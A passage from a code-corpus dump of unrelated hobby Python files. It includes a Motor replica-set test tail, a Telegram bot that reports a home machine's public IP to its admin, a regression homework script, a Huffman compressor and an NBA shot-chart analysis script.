self.rsc.pymongo_test.test_collection.find(\n read_preference=pymongo.ReadPreference.SECONDARY)\n\n with assert_raises(pymongo.errors.AutoReconnect):\n yield cursor.fetch_next\n finally:\n iostream.IOStream.write = old_write\n\n\nclass TestReplicaSetClientAgainstStandalone(MotorTest):\n \"\"\"This is a funny beast -- we want to run tests for MotorReplicaSetClient\n but only if the database at DB_IP and DB_PORT is a standalone.\n \"\"\"\n def setUp(self):\n super(TestReplicaSetClientAgainstStandalone, self).setUp()\n response = self.sync_cx.admin.command('ismaster')\n if 'setName' in response:\n raise SkipTest(\n \"Connected to a replica set, not a standalone mongod\")\n\n @gen_test\n def test_connect(self):\n with self.assertRaises(pymongo.errors.ConnectionFailure):\n yield motor.MotorReplicaSetClient(\n '%s:%s' % (host, port), replicaSet='anything',\n connectTimeoutMS=600).test.test.find_one()\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"chinyue/motor","sub_path":"test/test_motor_replica_set.py","file_name":"test_motor_replica_set.py","file_ext":"py","file_size_in_byte":2572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"} +{"seq_id":"5003017306","text":"import os\nimport io\nimport sys\nimport json\nimport time\nimport telepot\nimport requests\nfrom telepot.loop import MessageLoop\nimport logging\nimport logging.handlers\n\n#####################################################################################################################################################\n# CONSTANTS #\n#####################################################################################################################################################\n\nCONFIGURATION_FILE_PATH = \"configuration.json\" # Configuration file name.\n\nLOG_LEVEL = logging.INFO # Logging level.\nLOG_DATE_FORMAT = \"%Y-%m-%d %H:%M:%S\" # Date-time format used in all log files.\nLOG_FILE_NAME = \"ipbot.log\" # Bot log file name.\nLOG_FILE_ENCODING = \"utf-8\" # Encoding used for log files.\nLOG_FILE_MAX_BYTES = 32 * 1024 * 1024 # Maximum number of bytes a single log file can take up.\nLOG_FILE_BACKUP_COUNT = 5 # Number of log file backups to maintain.\n\n#####################################################################################################################################################\n# LOGGING #\n#####################################################################################################################################################\n\n# Create basic configuration for logging. This will make the root logger write to stdout:\nlogging.basicConfig()\n\n# Create the log formatter:\nLOG_FORMATTER = logging.Formatter(\"[{asctime}] [{levelname}] {name}: {message}\", LOG_DATE_FORMAT, style='{')\n\n# Create the log stream handler:\nLOG_STREAM_HANDLER = logging.StreamHandler()\nLOG_STREAM_HANDLER.setLevel(LOG_LEVEL)\nLOG_STREAM_HANDLER.setFormatter(LOG_FORMATTER)\n\n# Create the log file handler:\nLOG_FILE_HANDLER = logging.handlers.RotatingFileHandler(\n filename = LOG_FILE_NAME,\n encoding = LOG_FILE_ENCODING,\n maxBytes = LOG_FILE_MAX_BYTES,\n backupCount = LOG_FILE_BACKUP_COUNT\n)\nLOG_FILE_HANDLER.setFormatter(LOG_FORMATTER)\n\n# configure_logger\n# logger_name: Name of the logger.\n# This method creates and configures a logger, then finally returns it. \ndef configure_logger(logger_name):\n logger = logging.getLogger(logger_name)\n logger.setLevel(LOG_LEVEL)\n for handler in logger.handlers:\n logger.removeHandler(handler)\n logger.addHandler(LOG_STREAM_HANDLER)\n logger.addHandler(LOG_FILE_HANDLER)\n return logger\n\n# Configure the root logger:\nLOGGER = configure_logger(\"root\")\n\n#####################################################################################################################################################\n# FILESYSTEM LOGIC #\n#####################################################################################################################################################\n\n# file_exists\n# path: Path to the target file.\n# This method returns true if the file path specified is a readable file that exists.\ndef file_exists(path):\n return os.path.isfile(path) and os.access(path, os.R_OK)\n\n# read_json\n# path: Path to the JSON file.\n# This method returns the JSON object read from the target file path. None is returned if the read operation failed.\ndef read_json(path):\n # Try to read the JSON data from the specified path:\n try:\n # Open the file in read mode:\n with open(path, \"r\") as file:\n # Try load the JSON data from the target file:\n data = json.load(file)\n # Log the read operation to the root logger:\n LOGGER.info(f\"Read JSON data at `{path}`.\")\n # Return the read JSON object:\n return data\n # Catch any exception that occurs during the read operation:\n except Exception as exception:\n # Log the exception with an error message:\n LOGGER.exception(exception)\n LOGGER.error(f\"Failed to read JSON data from `{path}`.\")\n # Return None because nothing was read:\n return None\n\n# write_json\n# path: Path to write the JSON file to.\n# data: JSON file data to write to the file.\n# Writes JSON data to a JSON file and returns either true or false depending on if the operation was successful.\ndef write_json(path, data):\n # Try to write the JSON data to the specified path:\n try:\n # Opent the target file in write mode:\n with open(path, \"w\") as file:\n # Dump the JSON data to the target file:\n json.dump(file, data, indent = 4)\n # Log the write operation to the root logger:\n LOGGER.info(f\"Wrote JSON data to `{path}`.\")\n # Return True since the write operation was successful:\n return True\n # Catch any exception that occurs during the write operation:\n except Exception as exception:\n # Log the exception with an error message:\n LOGGER.exception(exception)\n LOGGER.error(f\"Failed to write JSON data to `{path}`\")\n # Return False since the write operation was unsuccessful:\n return False\n\n#####################################################################################################################################################\n# JSON CONFIGURATION #\n#####################################################################################################################################################\n\n# read_field\n# key: Name of the key within the dictionary.\n# dictionary: Dictionary to read from.\n# Reads and returns the value of a field. If the value cannot be read, None is returned.\ndef read_field(key, dictionary):\n try:\n value = configuration[key]\n if value != None:\n return value\n LOGGER.info(f\"Read value of `{key}`.\")\n except Exception as exception:\n LOGGER.exception(exception)\n LOGGER.error(f\"Failed to read value of `{key}`.\")\n return None\n\n# Try read configuration file:\nif file_exists(CONFIGURATION_FILE_PATH):\n # Read JSON configuration:\n configuration = read_json(CONFIGURATION_FILE_PATH)\n # Check if configuration file was read successfully:\n if configuration != None:\n # Read configuration fields:\n bot_token = read_field(\"bot_token\", configuration)\n admin_username = read_field(\"admin_username\", configuration)\n admin_chat_id = read_field(\"admin_chat_id\", configuration)\n if bot_token == None or admin_username == None or admin_chat_id == None:\n LOGGER.error(\"Failed to read JSON configuration.\")\n print(\"Either repair the existing JSON configuration, or delete it and re-run this script.\")\n sys.exit(1)\n # Log read successful operation:\n LOGGER.info(\"Successfully read JSON configuration.\")\n # Read operation was not successful:\n else:\n LOGGER.error(\"Failed to read JSON configuration file.\")\n sys.exit(1)\n\n# Configuration file does not exist:\nelse:\n LOGGER.warning(\"No configuration file found, creating one...\")\n write_json(\n CONFIGURATION_FILE_PATH,\n {\n \"bot_token\": \"bot token here\",\n \"admin_username\": \"Telegram username here\",\n \"admin_chat_id\": 12345\n }\n )\n print(\"Please edit the configuration file and re-run this script.\")\n sys.exit(0)\n\n#####################################################################################################################################################\n# GLOBAL VARIABLES #\n#####################################################################################################################################################\n\nlast_ip = None # Last public IP address recorded for the host machine.\n\n#####################################################################################################################################################\n# IP FEATURES #\n#####################################################################################################################################################\n\n# get_ip\n# Gets and returns the public ip address of the host machine. If this method fails to get the host machine IP address, None is returned; otherwise,\n# the body of the response is returned as a UTF-8 string.\ndef get_ip():\n try:\n # Query the public IP address of the host machine:\n response = requests.get(\"https://api.ipify.org\", verify=False, timeout=10.0)\n # Validate the response status code is \"200 OK\":\n if response.status_code == 200:\n # Decode the response body:\n response_body = response.content.decode(\"utf8\")\n # Log response:\n LOGGER.info(f\"Response from `https://api.ipify.org`: `{response_body}`.\")\n # Return the response body:\n return response_body\n # The response code is not \"200 OK\":\n else:\n # Log that something has gone wrong:\n LOGGER.error(f\"Failed to get IP address (response.status_code: `{response.status_code}`).\")\n # Return None:\n return None\n except Exception as exception:\n # Log that an unexpected exception occurred while trying to obtain the host machine public IP address:\n LOGGER.exception(exception)\n LOGGER.error(\"An unexpected exception occurred while trying to obtain the public IP address of the host machine.\")\n # Return None:\n return None\n\n# check_ip\n# Checks the public IP address of the host machine and attempts to send the new IP address into the admin_chat_id\ndef check_ip():\n global last_ip\n # Get the current public IP address of the host machine:\n current_ip = get_ip()\n # Check if IP address is None:\n if current_ip == None:\n LOGGER.error(\"Failed to update IP address.\")\n # Check if the current IP of the host machine has changed:\n elif current_ip != last_ip:\n # Construct a message containing the new IP addresses:\n message = f\"New public IP address detected: `{current_ip}`.\"\n # Print the message to the console:\n LOGGER.info(message)\n # Send the new IP address to the target chat ID:\n update_ip = True\n if admin_chat_id != None:\n update_ip = send_message(admin_chat_id, message)\n # Update last IP address:\n if update_ip:\n last_ip = current_ip\n\n# Get the current IP address:\n#last_ip = get_ip()\n\n#####################################################################################################################################################\n# TELEGRAM BOT #\n#####################################################################################################################################################\n\n# send_message\n# Sends a message from the Telegram bot.\ndef send_message(chat_id, message):\n global bot\n try:\n bot.sendMessage(chat_id, message)\n LOGGER.info(f\"Sent message: `{message}` to chat ID: `{chat_id}`.\")\n return True\n except Exception as exception:\n LOGGER.exception(exception)\n LOGGER.error(\"An unexpected exception occurred while trying to send a message.\")\n return False\n\n# telepot_handle\n# Telepot message loop handle.\ndef telepot_handle(msg):\n try:\n # Get basic information about the incoming message:\n content_type, chat_type, chat_id = telepot.glance(msg)\n chat_username = msg[\"from\"][\"username\"]\n message = msg[\"text\"]\n LOGGER.info(f\"Received `{chat_type} {content_type}` message from `{chat_username}` (chat_id: `{chat_id}`): `{message}`.\")\n # must be text, private chat, and by specified user\n if (content_type == 'text') and (chat_type == 'private') and (chat_username == admin_username) and (chat_id == admin_chat_id):\n # Get public ip address:\n ip = get_ip()\n # Check if IP is none:\n if ip == None:\n send_message(\"Failed to obtain IP address.\")\n # Send IP address to user:\n else:\n send_message(chat_id, f\"IP: `{ip}`.\")\n #bot.sendMessage(chat_id, str(chat_id))\n else: # Assume anyone else who is communicating with the bot is not authorized\n # Log this:\n LOGGER.warning(f\"Received message from unauthorized user: `{chat_username}` (chat_id: `{chat_id}`).\")\n # Send message:\n send_message(chat_id, \"You are not authorized to interact with this bot.\")\n except Exception as exception:\n # Log exception:\n LOGGER.exception(exception)\n LOGGER.error(\"An unexpected exception occurred while responding to a chat callback.\")\n\n# Start Telegram bot:\nbot = telepot.Bot(bot_token)\nMessageLoop(bot, telepot_handle).run_as_thread()\nLOGGER.info(\"Telegram bot started and is listening for messages.\")\n\n#####################################################################################################################################################\n# MAIN LOOP #\n#####################################################################################################################################################\n\n# Check for change in IP address:\nwhile True:\n try:\n check_ip()\n except Exception as exception:\n LOGGER.exception(exception)\n LOGGER.error(\"An unexpected exception occurred while checking the public IP address of the host machine.\")\n time.sleep(60)\n","repo_name":"alexjthomson1882/Telegram-IP-Bot","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":14601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"22163719034","text":"# Name: Pranesh Shrestha\n# Course: ECE-4332\n# Assignment: 1\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\n\ndf = pd.read_excel('proj1Dataset.xlsx')\n#sns.heatmap(df.isnull(), yticklabels=False, cbar=False, cmap='viridis')\nmean_value = df['Horsepower'].mean(skipna=True)\ndf.fillna(mean_value, inplace=True) # fills Nan with mean of the Horsepower\n\n# closed-form solution\ndf['just ones'] = 1\n# Normalizes the data ranging from 0 to 1\nweight_norm = df['Weight'].max()\nhorsepower_norm = df['Horsepower'].max()\ndf['Weight'] = df[['Weight']] / weight_norm\ndf['Horsepower'] = df[['Horsepower']] / horsepower_norm\n\nx = np.array(df['Weight'])\nX = np.array(df[['Weight', 'just ones']]) # Design Matrix\nY = np.array(df['Horsepower']) # Target Matrx\n\nweight_matrix = (np.linalg.inv(np.transpose(X)@X)\n )@np.transpose(X)@Y # Closed Form Equation\nprint(weight_matrix.shape)\npredict1 = X@weight_matrix # Prediction\nplt.figure(figsize=(10.5, 5.6))\nplt.subplot(1, 2, 1)\nplt.scatter(x=x*weight_norm, y=Y*horsepower_norm)\nplt.plot(x*weight_norm, predict1*horsepower_norm, color='purple')\nplt.xlabel('Weight')\nplt.ylabel('Horsepower')\nplt.title('Closed form')\n\n# Gradient Descent Method\n\n# assumed weight and counter is initialized within function\n\n\ndef gradient_(g_weight=np.array([0.1, 0.2]), counter=0):\n g_weight = g_weight - 0.001 * 2 * \\\n (np.transpose(g_weight)@np.transpose(X)@X - np.transpose(Y)@X)\n counter = counter + 1\n if counter == 300:\n return g_weight\n return gradient_(g_weight, counter)\n\n\n# for calculating weight from gradient descent method (Iterative method)\nfinal_gradient = gradient_()\npredict2 = X@final_gradient\nplt.subplot(1, 2, 2)\nplt.scatter(x=x*weight_norm, y=Y*horsepower_norm)\nplt.plot(x*weight_norm, predict2*horsepower_norm, color='purple')\nplt.xlabel('Weight')\nplt.ylabel('Horsepower')\nplt.title('Gradient Descent Method')\n\nplt.show()\n","repo_name":"shresthapranesh/Machine-Learning","sub_path":"Project1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1942,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"23909472545","text":"#!/bin/sh\n#script per alzare il volume di un tiling wm\nfrom os import system\n\nVOL = \"amixer sget Master | grep 'Left:' | awk -F'[][]' '{ print $2 }' > vol\"\nsystem(VOL)\nVOL = open('vol','r').read().replace('\\n','')\n#print(\"vol=[\"+VOL+\"]\")\n\nif (VOL!=\"0%\"):\n\tsystem(\"amixer -q sset 'Master' 0%\")\nelse:\n\tsystem(\"amixer -q sset 'Master' 50%\")\nsystem(\"aplay ~/Musica/notifica-mini.wav -q\")\n\n","repo_name":"Sbatushe/void-setup","sub_path":"polybar/scripts/vol_mute.py","file_name":"vol_mute.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"73414539450","text":"# Huffman.py\n# Succinct Huffman encoder with canonical code output\n# based on https://github.com/adamldoyle/Huffman\n# Written by https://github.com/simondotm 2019\n# https://github.com/simondotm/lz4enc-python\n\nfrom heapq import *\nimport array\nimport argparse\nimport os\nimport sys\nfrom collections import defaultdict\n\n# Notes about this implementation:\n# 1) It does not support EOF huffman codes. This makes it simpler for use with 8-bit/byte based alphabets.\n# Instead we transmit the unpacked size as an indicator for how many symbols exist in the file. We also transmit the number of padding bits.\n# 2) We only support huffman code sizes upto and including 16 bits in length.\n# 3) Intended for use on small files (ie. < 10Mb), since much of the code uses in-memory manipulation. \n# 4) It is binary byte based rather than text based\n# 5) It generates a canonical code table, and emits a header as follows:\n# [4 bytes][Uncompressed data size]\n# [1 byte][Number of symbols Ns in symbol table, 0 means 256]\n# [1 byte][Number of entries Nb in the bitlength table]\n# [Nb bytes][bit length table]\n# [Ns bytes][symbol table]\n# [Data...]\n# 6) See decode() for example parsing\n#\n# TODO: add a peek table\n\nif sys.version_info[0] > 2:\n print(\"Python 2 only\")\n sys.exit()\n\n\nclass Huffman:\n\n MAX_CODE_BIT_LENGTH = 20 # change this if you need to check the codes are within a specific bit length range\n MAX_SYMBOLS = 256 # just for clarity of code. \n VERBOSE = False\n\n def __init__(self):\n self.key = {}\n self.rKey = {}\n self.table_bitlengths = []\n self.table_symbols = []\n\n def build(self, phrase):\n self.setFrequency(phrase)\n self.buildTree()\n self.buildKey()\n self.buildCanonical() # convert tree to canonical codes. \n\n def setFrequency(self, phrase):\n self.frequency = defaultdict(int)\n for c in phrase:\n self.frequency[c] += 1\n \n\n def buildTree(self):\n self.heap = [[v, k] for k, v in self.frequency.iteritems()]\n heapify(self.heap)\n while len(self.heap) > 1:\n left, right = heappop(self.heap), heappop(self.heap)\n heappush(self.heap, [left[0] + right[0], left, right])\n\n def buildKey(self, root=None, code=''):\n if root is None:\n self.buildKey(self.heap[0])\n for k,v in self.key.iteritems():\n self.rKey[v] = k\n elif len(root) == 2:\n self.key[root[1]] = code\n else:\n self.buildKey(root[1], code+'0')\n self.buildKey(root[2], code+'1')\n\n # replace the previously calculated huffman tree codes with canonical codes\n def buildCanonical(self):\n\n # convert the tree to an array of (bitlength, symbol) tuples\n ktable = []\n for n in range(self.MAX_SYMBOLS):\n if n in self.key:\n ktable.append( (len(self.key[n]), n ) )\n\n # sort them into bitlength then symbol order\n ktable.sort( key=lambda x: (x[0], x[1]) )\n\n # get bit range\n minbits = ktable[0][0]\n maxbits = ktable[-1][0]\n # make sure our codes comply with the length constraints\n assert minbits > 0\n assert maxbits <= self.MAX_CODE_BIT_LENGTH\n\n # now we build the canonical codes, replacing the previously calculated codes as we go.\n bitlength = ktable[0][0] # start with smallest code length, always the first entry since sort\n code = 0\n numsymbols = len(ktable)\n for n in range(numsymbols):\n k = ktable[n] # tuple (bitlength, symbol)\n bitlength = k[0]\n codestring = format(code, '0' + str(bitlength) + 'b') # convert the code to a binary format string, leading zeros set to bitlength \n self.key[k[1]] = codestring\n code = (code + 1) \n if n < (numsymbols - 1):\n code <<= ( ktable[n+1][0] - bitlength )\n if self.VERBOSE:\n print(\"code=\" + str(n) + \", bitlength=\" + str(k[0]) + \", symbol=\" + str(k[1]) + \", code=\" + codestring + \", check=\" + str(len(codestring)==bitlength))\n\n # build the tables needed for decoding \n # - a sorted array where array[n] is the number of symbols with bitlength n\n # - an array of the symbols, in sorted ascending order \n # create a local table for the sorted bitlengths and tables\n self.table_bitlengths = [0] * (self.MAX_CODE_BIT_LENGTH+1)\n self.table_symbols = []\n for k in ktable:\n self.table_bitlengths[k[0]] += 1\n self.table_symbols.append(k[1])\n\n if self.VERBOSE:\n print(\"decoder tables (size=\" + str(len(self.table_bitlengths)+len(self.table_symbols)) + \")\")\n print(self.table_bitlengths)\n print(self.table_symbols)\n\n\n\n def addHeader(self, src_data, cmp_data, wastedBits = 0):\n\n block = bytearray()\n\n # emit table header for the decoder\n # 4 byte header, representing:\n # 4 bytes unpacked size with top 3 bits being number of wasted bits in the stream. \n # this informs the decoder of the size of the uncompressed stream (ie. number of symbols to decode) and how many bits were wasted\n data_size = len(src_data)\n block.append( data_size & 255 )\n block.append( (data_size >> 8) & 255 )\n block.append( (data_size >> 16) & 255 )\n block.append( ((data_size >> 24) & 31) )\n\n # 1 byte symbol count\n # Note: this could be alternatively calculated as the sum of the non-zero bitlengths. \n block.append( (len(self.table_symbols) & 255) ) # size of symbol table (0 means 256) \n \n # emit N bytes for the code bit lengths (ie. the number of symbols that have a code of the given bit length)\n assert len(self.table_bitlengths) == (self.MAX_CODE_BIT_LENGTH+1)\n\n mincodelen = 65536\n maxcodelen = 0\n for v in self.key:\n codelen = len(self.key[v])\n mincodelen = min(mincodelen, codelen)\n maxcodelen = max(maxcodelen, codelen)\n\n #print(\" codes from \" + str(mincodelen) + \" to \" + str(maxcodelen) + \" bits in length\")\n # make sure our codes comply with the length constraint\n #assert maxcodelen <= self.MAX_CODE_BIT_LENGTH\n\n # We exploit the fact that no codes have a bit length of zero, so we use that field to transmit how long the bit length table is (in bytes)\n # This way we have a variable length header, and transmit the minimum amount of header data.\n self.table_bitlengths[0] = maxcodelen #len(self.table_symbols)\n for n in range(maxcodelen+1):\n block.append(self.table_bitlengths[n])\n\n # emit N bytes for the symbols table\n for n in self.table_symbols:\n block.append(n & 255)\n\n block += cmp_data\n return block\n\n # Huffman compress the given bytearray 'phrase' using the tree calculated by build()\n # Returns a bytearray() of the encoded data, with optional header data\n def encode(self, phrase, header = True):\n\n output = bytearray()\n\n # huffman encode and transmit the data stream\n currentbyte = 0 # The accumulated bits for the current byte, always in the range [0x00, 0xFF]\n numbitsfilled = 0 # Number of accumulated bits in the current byte, always between 0 and 7 (inclusive)\n\n sz = 0\n # for each symbol in the input data, fetch the assigned code and emit it to the output bitstream\n fastcount = 0\n bitsize_to_count = 8\n for c in phrase:\n k = self.key[c]\n sz += len(k)\n if len(k) <= bitsize_to_count:\n fastcount += 1\n for b in k:\n bit = int(b)\n assert bit == 0 or bit == 1\n currentbyte = (currentbyte << 1) | bit\n numbitsfilled += 1\n if numbitsfilled == 8: # full byte, flush to output\n output.append(currentbyte)\n currentbyte = 0\n numbitsfilled = 0 \n\n if self.VERBOSE:\n print(\" \" + str(fastcount) + \" of \" + str(len(phrase)) + \" symbols were \" + str(bitsize_to_count) + \" bits or less in size (\" + str(fastcount*100/len(phrase)) + \"%)\")\n\n # align to byte. we could emit code >7 bits in length to prevent decoder finding a spurious code at the end, but its likely\n # some data sets may contain codes <7 bits. Easier to just pad wasted bytes.\n wastedbits = (8 - numbitsfilled) & 7\n while (numbitsfilled < 8) and wastedbits:\n currentbyte = (currentbyte << 1) | 1\n numbitsfilled += 1\n output.append(currentbyte)\n\n # add headers if required.\n if header:\n output = self.addHeader(phrase, output, wastedBits = wastedbits)\n\n if header:\n # test decode\n self.decode(output, phrase)\n\n return output\n\n # test decoder\n def decode(self, data, source):\n\n # read the header\n if self.VERBOSE:\n print(\"Checking data...\")\n\n # get the unpacked size - this tells us how many symbols to decode\n unpacked_size = data[0] + (data[1]<<8) + (data[2]<<16) + ((data[3] & 31)<<24) # uncompressed size\n wastedbits = data[3] >> 5\n \n symbol_table_size = data[4] # fetch the number of symbols in the symbol table\n length_table_size = data[5] + 1 # fetch the number of entries in the bit length table (+1 because we include zero)\n\n # interpret 0 as 256\n if symbol_table_size == 0:\n symbol_table_size = 256\n\n length_table = data[5:5+length_table_size]\n symbol_table = data[5+length_table_size:5+length_table_size+symbol_table_size]\n\n # decode the stream\n currentbyte = 5 + length_table_size + symbol_table_size\n\n output = bytearray()\n\n bitbuffer = 0\n numbitsbuffered = 0\n code = 0\n code_size = 0\n\n firstCodeWithNumBits = 0\n startIndexForCurrentNumBits = 0\n\n sourceindex = 0\n unpacked = 0\n while unpacked < unpacked_size:\n\n # keep the bitbuffer going\n if numbitsbuffered == 0:\n # we're out of data, so any wip codes are invalid due to byte padding.\n bitbuffer = data[currentbyte]\n currentbyte += 1\n numbitsbuffered += 8\n\n # get a bit\n bit = (bitbuffer & 128) >> 7\n bitbuffer <<= 1\n numbitsbuffered -= 1\n\n # build code\n code = (code << 1) | bit\n code_size += 1\n\n # how many canonical codes have this many bits\n assert code_size <= self.MAX_CODE_BIT_LENGTH\n numCodes = length_table[code_size]\n\n # if input code so far is within the range of the first code with the current number of bits, it's a match\n indexForCurrentNumBits = code - firstCodeWithNumBits\n if indexForCurrentNumBits < numCodes:\n code = startIndexForCurrentNumBits + indexForCurrentNumBits\n\n symbol = symbol_table[code]\n output.append(symbol)\n expected = source[sourceindex]\n assert symbol == expected\n sourceindex += 1\n\n code = 0\n code_size = 0\n\n firstCodeWithNumBits = 0\n startIndexForCurrentNumBits = 0 \n\n unpacked += 1 \n\n else:\n # otherwise, move to the next bit length\n firstCodeWithNumBits = (firstCodeWithNumBits + numCodes) << 1\n startIndexForCurrentNumBits += numCodes\n\n assert len(output) == len(source)\n assert output == source\n\n if self.VERBOSE:\n print(\" Test decode OK.\")\n\n\n\n# Determine if running as a script\nif __name__ == '__main__':\n\n print(\"Huffman.py : Canonical Huffman compressor\")\n print(\"Written in 2019 by Simon M, https://github.com/simondotm/\")\n print(\"\")\n\n parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)\n\n parser.add_argument(\"input\", help=\"read from file [input]\")\n parser.add_argument(\"output\", help=\"output to file [output]\")\n parser.add_argument(\"-v\", \"--verbose\", help=\"Enable verbose mode\", action=\"store_true\")\n args = parser.parse_args()\n\n\n src = args.input\n dst = args.output\n if dst == None:\n dst = src + \".lz4\"\n\n # check for missing files\n if not os.path.isfile(src):\n print(\"ERROR: File '\" + src + \"' not found\")\n sys.exit()\n\n # load the file\n src_data = bytearray(open(src, \"rb\").read())\n\n huffman = Huffman()\n huffman.VERBOSE = args.verbose\n huffman.build(src_data)\n\n dst_data = huffman.encode( src_data, header = True ) \n\n open(dst, \"wb\").write(dst_data)\n\n src_size = len(src_data)\n dst_size = len(dst_data)\n if src_size == 0:\n ratio = 0\n else:\n ratio = 100 - (int)((dst_size*100 / src_size))\n\n print(\" Compressed '\" + src + \"', \" + str(src_size) + \" into \" + str(dst_size) + \" bytes => \" + str(ratio) + \"%\")\n","repo_name":"simondotm/vgm-packer","sub_path":"modules/huffman.py","file_name":"huffman.py","file_ext":"py","file_size_in_byte":13284,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"77"} +{"seq_id":"8151404177","text":"from collections import *\nfor _ in range(int(input())):\n n=int(input())\n a=[int(i) for i in input().split()]\n k=int(input())\n d=defaultdict(lambda:0)\n for e in a:\n d[e] += 1\n a=set(a)\n if k==0:\n c=0\n for ke,v in d.items():\n if v>1:\n c+=1\n print(c)\n else:\n for e in a:\n d[e]=1\n visited=defaultdict(lambda:1)\n c=0\n for e in a:\n if visited[e]:\n visited[e]=0\n if d[e+k]:\n c+=1\n print(c)\n","repo_name":"nikhil7737/python-programs","sub_path":"pairs_with_diff_k.py","file_name":"pairs_with_diff_k.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"6669407856","text":"# 스택 수열\nimport sys\ninput = sys.stdin.readline\n\nn = int(input())\ncount = 1\narr = []\nstack = []\nresult = []\n\nfor i in range(n):\n num = int(input())\n if num >= count:\n for j in range(count, num+1):\n stack.append(j)\n result.append(\"+\")\n count = num + 1\n elif stack[-1] != num:\n print(\"NO\")\n break\n result.append(\"-\")\n stack.pop()\n\nelse:\n print(\"\\n\".join(result))","repo_name":"surpmh/algorithms","sub_path":"BaekJoon/스택/5_1874.py","file_name":"5_1874.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"10919188212","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Dec 6 08:28:02 2022\n\n@author: tedwards\n\"\"\"\n\n\"\"\"\nThe aim of this part of the project is to test if Hubie Brown's theory can be exteneded to looking at how teams defend. \nAll of the shots against a certain team will be recorded by noting their Hubie value and make/miss status. \nAll of the data for each team will be amalgamated into a single dataframe for an exploratory analysis in RStudio. \n\"\"\"\n\n\"\"\"\nIn order for this data to be useful for predictions, we need to record the wins and losses along with the Hubie values per game \n\"\"\"\n\n#from basketball_reference_scraper.teams import get_roster_stats\nfrom basketball_reference_scraper.shot_charts import get_shot_chart\nfrom basketball_reference_scraper.seasons import get_schedule, get_standings\n#import matplotlib.pyplot as plt\nfrom BasketballConstants import Constant\nimport re\nfrom helper_hubie import get_abbreviation, classify_hubie\nimport pandas as pd\nfrom datetime import datetime, timedelta\nimport time\n\nseason_endyear = 2023\n#Currently, an error is being thrown——Length mismatch:\nlatest_schedule = pd.DataFrame({\n 'DATE': [],\n 'VISITOR': [],\n 'VISITOR_PTS': [],\n 'HOME': [],\n 'HOME_PTS': []\n \n })\nhubie_stats = pd.DataFrame({\n 'Team_Name': [],\n 'Zone_1_Makes': [],\n 'Zone_1_Attempts': [],\n 'Zone_2_Makes': [],\n 'Zone_2_Attempts': [],\n 'Zone_3_Makes': [],\n 'Zone_3_Attempts': [],\n 'Zone_4_Makes': [],\n 'Zone_4_Attempts': [],\n 'Date':[],\n 'Win_or_Lose': []\n })\n\nlatest_schedule = get_schedule(season_endyear, playoffs=False)\nlatest_standings = get_standings(date=None)\neast_teams = latest_standings['EASTERN_CONF']['TEAM']\nwest_teams = latest_standings['WESTERN_CONF']['TEAM']\n\n\nfor z in range(0, len(east_teams)):\n curr_team_games = latest_schedule[((latest_schedule.VISITOR == east_teams[z]) | (latest_schedule.HOME == east_teams[z])) & (latest_schedule.DATE < (datetime.now()-timedelta(days=4)))]\n curr_team = get_abbreviation(east_teams[z].upper())\n print(curr_team)\n \n for index, row in curr_team_games.iterrows():\n zone_one_makes, zone_one_attempts, zone_two_makes, zone_two_attempts = (0,0,0,0)\n zone_three_makes, zone_three_attempts, zone_four_makes, zone_four_attempts = (0,0,0,0)\n win_lose = 0 #0 will be used to denote a loss\n date = curr_team_games.DATE[index].date()\n #date = date.date()\n print(date)\n \n home_team = get_abbreviation(curr_team_games.HOME[index].upper())\n away_team = get_abbreviation(curr_team_games.VISITOR[index].upper())\n home_team_pts = curr_team_games.HOME_PTS[index]\n away_team_pts = curr_team_games.VISITOR_PTS[index]\n \n curr_game_shot_chart = get_shot_chart(date, home_team, away_team)\n if(curr_game_shot_chart == None): print(\"Curr Game Shot Chart is Empty\")\n time.sleep(5)\n \n #Here we want to access the shot chart for the opposing team, not the shot chart for the team we currently are on in our loop.\n #This is accomplished by switching from == to != in our assignment of shot_chart\n if(home_team != curr_team):\n shot_chart = curr_game_shot_chart[home_team]\n #Here we need to check if the home_team which is not the team being examined won the game\n if(home_team_pts < away_team_pts): win_lose = 1\n \n else:\n shot_chart = curr_game_shot_chart[away_team]\n if(home_team_pts > away_team_pts): win_lose = 1\n \n for w in range(0, len(shot_chart)):\n x_loc = re.findall('[\\d]*[.][\\d]+', shot_chart.loc[w, 'x'])\n y_loc = re.findall('[\\d]*[.][\\d]+', shot_chart.loc[w, 'y'])\n \n hubie_value = classify_hubie(((Constant.Y_MAX) - float(x_loc[0]) -1), float(y_loc[0]) + 1)\n \n if(hubie_value == 1):\n zone_one_attempts+=1\n if(shot_chart.loc[w, 'MAKE_MISS'] == 'MAKE'): zone_one_makes+=1\n elif(hubie_value == 2):\n zone_two_attempts+=1\n if(shot_chart.loc[w, 'MAKE_MISS'] == 'MAKE'): zone_two_makes+=1\n elif(hubie_value == 3):\n zone_three_attempts+=1\n if(shot_chart.loc[w, 'MAKE_MISS'] == 'MAKE'): zone_three_makes+=1\n else:\n zone_four_attempts+=1\n if(shot_chart.loc[w, 'MAKE_MISS'] == 'MAKE'): zone_four_makes+=1\n final_row = [curr_team, zone_one_makes, zone_one_attempts, zone_two_makes, zone_two_attempts, zone_three_makes, zone_three_attempts, zone_four_makes, zone_four_attempts, date, win_lose]\n hubie_stats.loc[len(hubie_stats.index)] = final_row\n 